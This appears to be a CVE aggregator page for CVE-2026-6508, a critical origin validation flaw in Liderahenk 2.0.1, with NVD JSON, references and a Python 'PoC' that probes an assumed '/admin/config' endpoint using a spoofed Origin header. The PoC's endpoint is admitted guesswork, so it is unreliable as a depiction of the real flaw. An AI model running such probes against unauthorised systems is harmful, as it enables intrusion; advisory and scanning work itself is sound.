CVE-2026-6508

Description

Origin Validation Error vulnerability in TUBITAK BILGEM Software Technologies Research Institute Liderahenk allows Accessing Functionality Not Properly Constrained by ACLs. This issue affects Liderahenk: from 2.0.1 before 2.0.2.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

TUBITAK BILGEM Liderahenk 2.0.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-6508: Origin Validation Error
import requests

def check_vulnerability(target_url):
    """
    Checks if the target Liderahenk instance is vulnerable to CVE-2026-6508.
    Attempts to access a restricted endpoint without authentication.
    """
    # Assume /admin/config is a sensitive endpoint that should be protected
    sensitive_endpoint = f"{target_url}/admin/config"
    
    headers = {
        "User-Agent": "Mozilla/5.0 (PoC-Scanner)",
        "Origin": "http://attacker-controlled-domain.com" # Spoofed Origin
    }

    try:
        response = requests.get(sensitive_endpoint, headers=headers, timeout=10)
        if response.status_code == 200 and "restricted" not in response.text.lower():
            print("[+] Potential Vulnerability Detected!")
            print(f"[+] Endpoint {sensitive_endpoint} returned 200 OK.")
            return True
        else:
            print("[-] Target does not appear to be vulnerable or is patched.")
            return False
    except Exception as e:
        print(f"Error connecting to target: {e}")
        return False

if __name__ == "__main__":
    target = "http://192.168.1.100:8080" # Replace with actual target
    check_vulnerability(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6508
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6508
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6508/
[4] VulDB https://vuldb.com/cve/CVE-2026-6508
[5] https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0181

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6508", "sourceIdentifier": "[email protected]", "published": "2026-05-07T12:16:18.330", "lastModified": "2026-05-07T14:42:56.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Origin Validation Error vulnerability in TUBITAK BILGEM Software Technologies Research Institute Liderahenk allows Accessing Functionality Not Properly Constrained by ACLs.\n\nThis issue affects Liderahenk: from 2.0.1 before 2.0.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-346"}]}], "references": [{"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0181", "source": "[email protected]"}]}}